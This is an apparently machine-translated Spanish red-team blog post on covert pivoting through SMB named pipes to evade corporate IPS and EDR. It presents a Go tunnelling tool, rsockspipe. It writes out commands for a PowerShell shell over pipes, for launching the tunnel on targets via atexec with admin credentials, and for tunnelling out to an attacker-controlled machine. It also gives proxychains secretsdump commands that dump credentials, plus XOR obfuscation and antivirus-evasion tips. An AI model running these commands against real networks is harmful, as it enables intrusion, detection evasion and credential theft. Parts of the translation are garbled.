No es ningún secreto que el IPS corporativo se está volviendo cada vez más inteligente. Ahora no sorprenderá a nadie con IPS con SSL-mitm en el perímetro de la red o incluso dentro de la red corporativa entre segmentos. Al mismo tiempo, además del conocido IPS, comenzaron a aparecer y extenderse varias soluciones EDR, que ya están directamente en los hosts que vigilan las conexiones establecidas. En este sentido, un especialista decente de RedTeam se está volviendo cada vez más difícil de ocultar del omnipresente aspecto de BlueTeam todos los días. Tenemos que ser más creativos en mi arduo trabajo.
Una de las soluciones para disfrazar nuestras "acciones destructivas más útiles" (c) dentro de las redes corporativas puede ser utilizar los protocolos SMB o RDP. Puede esconderse dentro de ellos y disfrazarse de tráfico legítimo. Esto no es particularmente nuevo y la técnica de enmascaramiento dentro de SMB se ha utilizado desde la época de las famosas compañías APT Duqu y Sauron. Allí, los chicos también usaron el protocolo SMB para transferir comandos de control a sus agentes con gran éxito. Después de esto, la técnica fue adoptada por los desarrolladores de Metasploit y Cobalt Strike.
En este artículo, consideraremos las opciones para usar el protocolo SMB para pivotar, pero dejaremos RDP para más adelante.
Utilizamos SMB
Entonces, veamos qué tiene de bueno usar SMB para pivotar.
En primer lugar, está muy extendido. SMB es casi el protocolo nativo de microsoft, y en redes corporativas con ventanas se usa en todas partes y en muchos lugares. Aquí usted y DFS, y varias actualizaciones, impresoras y mucho, mucho de todo. Muy comodo
Es cierto que fuera de la red corporativa, y aún más desde el exterior, dentro del puerto TCP 445, ahora a menudo comenzaron a cerrarse en los firewalls. La razón de esto son los casos frecuentes de phishing y retransmisión mediante enlaces como file: // xxxx, \\ xxxx \, etc. Y, por supuesto, no nos olvidemos de WannaCry, que obligó a muchas organizaciones a cerrar el puerto.
En segundo lugar, en los sistemas modernos, como Win10 / Win2016 y superior, la información transmitida dentro del protocolo SMB, más precisamente, SMB3 ya está encriptada de forma predeterminada. Es decir transfiriendo su división favorita dentro de SMB, puede estar seguro de que el IPS corporativo no lo notará (¡gracias Micosoft por esto!).
En tercer lugar, el protocolo SMB proporciona un mecanismo conveniente para la llamada tubería (tuberías SMB): en realidad, son las mismas tuberías con nombre, solo disponibles en la red. Por ejemplo, una línea como \\ 192.168.1.10 \ pipe \ atsvc es una tubería de servicio de tareas programadas. Atexec del marco impacket solo funciona con él para crear tareas para ejecutar comandos en Windows.
Puede ver todas las canalizaciones abiertas en su sistema usando la utilidad de Sysinternals: pipelist.exe (pipelist64.exe) o mediante el mismo PowerShell:
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
Inmersión
Entonces, veamos cómo podemos usar tuberías SMB para nuestras "acciones destructivas más útiles".
Queremos usar tuberías para la comunicación encubierta con nuestro equipo.
La conclusión es que ejecutamos nuestro agente o shell en la máquina de destino y nos comunicamos con él a través del protocolo SMB.
Por ejemplo, en el metasplit hay paylodes especiales para trabajar con tuberías:
meterpreter_bind_named_pipe
bind_named_pipe
Con la ayuda de ellos, puede "colgar" fácilmente a su oyente (ya sea un medidor de precisión o un comando ordinario) en una tubería con nombre, ocultándolo así de los ojos vigilantes del administrador de seguridad. Pero, por supuesto, todos sabemos bien que es completamente inseguro usar peylods msf durante el pentest / redtime de combate y los hackers de trabajo real usan herramientas personalizadas, como dicen, lejos del pecado ...
Una alternativa a msf como shell de comandos puede ser nuestro buen asistente anterior: powershell. Hay muchos ejemplos en la red sobre el uso de tuberías como canal para la comunicación con C2.
Una de ellas es la utilidad Invoke-PipeShell del equipo Threatexpress. Funciona en modo servidor-cliente y cifra todo su tráfico con una clave AES de 256 bits.
En el servidor corremos:
Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30
En el cliente, ejecute:
Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000
Naturalmente, nuestro cliente debe estar autorizado en el servidor, así que no olvide autorizar primero:
net use \\targetserver.domain.com\IPC$ /user:admin Password1
Después de una conexión exitosa, obtenemos una consola Powershell completa. Todos los detalles sobre cómo trabajar con esta herramienta, así como el código en sí, se pueden obtener.
Bueno Esto parece ser entendible. Ahora pensemos en cómo podemos pivotar dentro de la red objetivo a través de tuberías SMB. Por ejemplo, si solo el puerto 445 está abierto en el perímetro de la red (y sucede ...) o las conexiones al exterior de nuestro túnel a través de SSL son bloqueadas sin piedad por un firewall corporativo, pero por alguna razón se olvidaron de cerrar el protocolo SMB. En este caso, necesitamos reenviar un túnel TCP completo dentro de la tubería para que podamos trabajar con los recursos internos de la red de destino. Lo primero que viene a la mente es el mismo medidor de precisión con puesta en escena a través de tuberías. Él sabe cómo hacerlo perfectamente. No consideraremos los detalles aquí, porque aquí todo es estándar y de acuerdo con el manual. Los interesados pueden leer las instrucciones para metasploit, o ver la versión corta
aquí .
Ya mencionamos las desventajas de meterpreter arriba. Por lo tanto, veamos qué más tenemos para girar a través de tuberías ...
Después de una búsqueda rápida en Google sobre el tema de hacer túneles a través de tuberías, además del medidor de metros, solo se encontraron
Cobalt Strike y el desarrollo de
DxFlatLine .
La primera opción, en primer lugar, es de pago, y en segundo lugar, tiene las mismas desventajas que meterpreter.
La segunda opción se realiza como PoC, funciona solo en modo de subproceso único y le permite hacer un túnel en una sola conexión; es decir, como puede adivinar, tampoco es una opción de uso constante en la práctica.
Y que hacer
Después de pensar un poco sobre el problema, decidimos ... ¿Por qué no adaptamos nuestro desarrollo anterior de Rsockstun, sobre el que ya
escribimos , para trabajar con tuberías? Además, la arquitectura de la aplicación le permite hacer esto con facilidad. En lugar de conectarse a través de TCP, utilizaremos una conexión a través de SMB. Incluso simplifica el trabajo de la utilidad: no hay que preocuparse por SSL, la conexión a través de un servidor proxy, etc. Solo dejaremos la opción con la autorización inicial del cliente en el servidor con una contraseña, porque las tuberías son una entidad pública y, en consecuencia, no solo nuestro túnel, sino también otro software, incluso de forma remota, puede leerlos y escribirles.
Los derechos de acceso a las tuberías, así como el escaneo y la enumeración de las tuberías en una máquina remota, son un tema aparte de discusión. Quienes lo deseen pueden estudiarlo utilizando el ejemplo de metasploit de los módulos scanner / smb / pipe_auditor y scanner / smb / pipe_rpc_auditor.
Para trabajar con tuberías de Go, utilizaremos la biblioteca
npipeSe ha hecho durante mucho tiempo y ha demostrado su eficacia en varios proyectos. Trabajar a través de esta biblioteca no es fundamentalmente diferente de trabajar a través de mecanismos Net estándar: las mismas funciones son net.Dial, net.Listen, net.Accept.
Para multiplexar varias conexiones dentro de una tubería, como la última vez, usaremos el multiplexor Yamux y los calcetines5, un servidor proxy. Puede leer más sobre la necesidad de multiplexar dentro de TCP y yamux en nuestro último
artículo sobre rsockstun.
Otra diferencia y refinamiento de la versión con tuberías, en comparación con rsockstun, es que ahora yamux-server y, en consecuencia, socks5-proxy se pueden iniciar en ambos extremos del túnel (aunque no simultáneamente, pero allí o allí). Esto se hace para que el túnel se pueda construir externamente en la red de destino y viceversa ...
Y ahora, como siempre, los matices
Figura 1: volcar el tráfico de operación del túnel en Windows 7

La Figura 1 muestra cómo se verá la operación de nuestro túnel si al menos uno de sus extremos se ejecuta en Windows 7. Aquí, la zona roja es la etapa de autorización, el verde es la apertura de la tubería y el azul es la transmisión directa de información. También es necesario prestar atención al hecho de que se utiliza el protocolo SMBv2. De hecho, esto significa que todo lo que transmitamos dentro del túnel será visible en texto sin formato:

A diferencia de Win7, Windows10 usa encriptación de datos dentro del protocolo SMB3:

Como vemos, ni el nombre de la tubería ni los datos dentro del túnel se transmiten en texto claro.
Puede verificar si el cifrado funciona en su sistema SMB3 utilizando el cmdlet estándar de PowerShell Get-SmbServerConfiguration

Y con el cifrado desactivado, es igual de fácil activarlo:

Sin embargo, no siempre podemos estar seguros de que el cifrado dentro de SMB estará habilitado de forma predeterminada, y no es una buena idea encenderlo en un servidor o red extranjeros ...
En este sentido, necesitamos proporcionar un modo en nuestro túnel que permita encriptar el tráfico dentro de nuestro túnel. Además, no tenemos la tarea de cifrar de manera confiable para que solo puedan descifrar en la supercomputadora NSA, sino simplemente ocultar las firmas de tráfico dentro del túnel de IPS. En este sentido, utilizaremos un XOR simple con una pequeña clave para enmascarar nuestro tráfico, lo que nos permitirá ahorrar recursos del procesador y prácticamente no afectará la velocidad de transmisión.
Para no crear una capa de red adicional responsable de encriptar el tráfico, agregaremos la funcionalidad directamente al módulo yamux responsable de transferir la carga útil (módulo stream.go y funciones de lectura y escritura):
func xoring(istr *[]byte, key string){ for i := 0; i < len(*istr); i++ {(*istr)[i] = (*istr)[i] ^ key[i % len(key)]} }
Después de realizar los cambios, nuestra solicitud GET no es tan claramente visible en el tráfico:

Uno, dos, tres ... ¡Comienza!
Total, las opciones de lanzamiento y, en consecuencia, la aplicación de nuestro túnel serán las siguientes:
Opción 1. Conéctese desde el exterior a la red y reenvíe la conexión Socks5. Por ejemplo, cuando sobresale el puerto 445 y conocemos los préstamos para la conexión:
En el servidor interno, a través de la conexión SMB y la utilidad impacket, inicie la parte del servidor rsockpipe:
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -listen .\rsockspipename -pass Password1234"
En la máquina de Windows externa (controlada por nosotros), ejecute la parte del cliente de rsockspipe y, después de establecer la conexión, úsela como un proxy socks5:
rsockspipe.exe -connect xxxx\rsockspipename -socks yyyy:1080 -pass Pass-word1234 proxychains secretsdump.py admin:Passw0rd@yy1.10
Opción 2. Conexión de adentro hacia afuera por el protocolo SMB. Cuando las conexiones externas son estrictamente monitoreadas por todos los protocolos web, y por alguna razón los administradores se olvidaron de SMB ...
En una máquina Windows externa (controlada por nosotros) (ip: AAAA), ejecute la parte del cliente de rsockspipe y espere a que los clientes se conecten:
rsockspipe.exe -listen .\rsockspipename -socks yyyy:1080 -pass Password1234
En el servidor dentro de la red de destino, ejecute la parte del cliente (también a través de impacket):
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -connect YYYY\rsockspipename -pass Password1234"
Después de una conexión exitosa, podemos usar nuestro servidor como soscks5:
proxychains secretsdump.py admin:Passw0rd@yy1.10
Aquí hay un punto, especialmente para la segunda opción. Recuerde, dijimos que para una conexión exitosa a la tubería debemos estar autorizados en el lado del servidor, es decir. Antes de comenzar el túnel, necesitamos pasar por la autorización. Puedes hacerlo de esta manera:
net use \\yyyy\ipc$ /user:<usrname> <Password1>
Entonces ... En el segundo caso de uso, el comando net use se ejecuta en la máquina de destino. Y esto significa que en la máquina de destino (en la memoria del proceso lsass) quedan créditos de su máquina Windows. Y si son administradores (y, por regla general, todos los piratas informáticos novatos trabajan desde el administrador ...), esto puede conducir a un "saludo" de BlueTeam ... En general, piensas cuando haces algo ...
En lugar de una conclusión
En general, el túnel resultó ser bastante bueno ... Lo principal es que está listo para su uso activo.
El código fuente, así como los binarios ya compilados para x86 y x64, se encuentran en nuestro
gitY una pequeña adición. Recientemente, comenzaron a notar que el software Golang compilado en el modo Win GUI (compilación en el modo: go build -ldflags = "- H windowsgui") se ha disparado mucho por algunas soluciones antivirus (KAV, SEP14). Ya es ridículo: "Hello World" compilado en el modo GUI se detecta como un malware. Aparentemente, esto se debe al hecho de que Golang, sin embargo, se ha convertido en una herramienta favorita del malware. Entonces, nuestro consejo es compilar el proyecto en modo de consola estándar, y con una ventana cmf negra, un hacker real sabe cómo manejarlo (por ejemplo, el mismo impacket, por ejemplo).
PD "Acciones destructivas más útiles" es la redacción de D. Samartsev, Director de BiZone. En este caso, describe con mayor precisión la esencia del trabajo de los especialistas de RedTeam.